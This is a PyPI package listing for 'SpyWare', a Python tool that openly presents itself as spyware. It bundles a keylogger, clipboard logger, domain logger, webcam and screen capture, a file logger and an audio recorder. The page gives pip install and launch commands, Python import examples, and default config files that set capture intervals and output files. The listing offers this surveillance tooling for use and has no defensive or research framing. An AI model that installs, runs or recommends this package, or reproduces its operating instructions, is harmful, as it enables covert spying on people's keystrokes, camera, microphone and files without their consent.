Skip to main content

This package implement a complete SpyWare.

Project description

SpyWare

Description

This package implement a spyware.

You have:

  • KeyLogger
  • ClipboardLogger
  • Domains/IP logger
  • Webcam spy
  • Screen spy
  • Files logger
  • Recorder

Requirements

This package require :

  • python3
  • python3 Standard Library
  • pyautogui
  • opencv-python
  • pillow
  • pyperclip
  • pynput
  • pyaudio

Installation

pip install SpyWare

Launcher

Command line:

SpyWare # Run all modules
SpyWare screen # Run module screenshot
SpyWare key keylogger.conf # Run module key with custom config file

Python script

from SpyWare import spyware
spyware() # Run all modules
from SpyWare import AudioLogger
AudioLogger.audioSpy()
from os import environ
environ["clipboardSpy.conf"] = "clipboard.conf" # Set environ variable before import SpyWare module(s)
 
from SpyWare.CopyLogger import Daemon
daemon = Daemon()
daemon.run_for_ever()

To change the config file with os.environ you can use the default filename. Defaults filenames are PYTHON-DIR/Lib/site-packages/SpyWare/<Module>/*.conf.

Python executable:

python3 WebcamLogger.pyz webcamSpy.conf

# OR
chmod u+x WebcamLogger.pyz # add execute rights
./WebcamLogger.pyz webcamSpy.conf # execute file

python3 SpyWare.pyz screen screenSpy.conf # run one module

chmod u+x SpyWare.pyz
./SpyWare.pyz screen screenSpy.conf # run one module

You can't use python executable file without custom configuration file.

python3 WebcamLogger.pyz
Traceback (most recent call last):
 ...
KeyError: ...

So you can't run all module with one command line and python executable:

python3 SpyWare.pyz
Traceback (most recent call last):
 ...
KeyError: ...

Python module (command line):

python3 -m SpyWare # run all
python3 -m SpyWare.AudioLogger # run one module
python3 -m SpyWare.AudioLogger audioSpy.conf # run one module with configuration file
python3 -m SpyWare.AudioLogger.AudioLogger # this command run one module too

Default configurations files

Clipboard

[SAVE]
filename = clipboard.txt

[TIME]
clipboardSleep = 11

Recorder

[SAVE]
filename = record*.wav
dirname = records

[TIME]
recordSleep = 3590
recordTime = 10

Domains

[SAVE]
filename = domains.txt

[TIME]
dnsSleep = 60
browserSleep = 86400
readingFileSleep = 0.5
getDomainSleep = 0.05

Fileslogger

[SAVE]
filename = files.csv

[TIME]
fileSleep = 0
directorySleep = 1
relaunchSleep = 86400

Keylogger

[SAVE]
filename = keySpy.txt
event_press = 0
event_release = 0
hot_keys = 1
event_time = 1

[TIME]

Screenshot

[SAVE]
filename = screenshot*.png
dirname = screenshots

[TIME]
screenshotSleep = 3600

Webcam

[SAVE]
filename = webcam*.png
dirname = pictures

[TIME]
pictureSleep = 3600

Links

Licence

Licensed under the GPL, version 3.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

SpyWare-0.0.1.tar.gz (235.3 kB view details)

Uploaded Source

File details

Details for the file SpyWare-0.0.1.tar.gz.

File metadata

  • Download URL: SpyWare-0.0.1.tar.gz
  • Upload date:
  • Size: 235.3 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.2.0 pkginfo/1.6.1 requests/2.25.0 setuptools/52.0.0 requests-toolbelt/0.9.1 tqdm/4.54.1 CPython/3.9.1+

File hashes

Hashes for SpyWare-0.0.1.tar.gz
Algorithm Hash digest
SHA256 07409dabc82fc13029940e51dced7680901a9753afb297d6a8e6afb19b685545
MD5 699ac553cb0d619c21212fe0a976ee90
BLAKE2b-256 8ce3f75ea2380fd9e7d3066405657f3c9225fc02c4fc609eb7462efcc68450f4

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page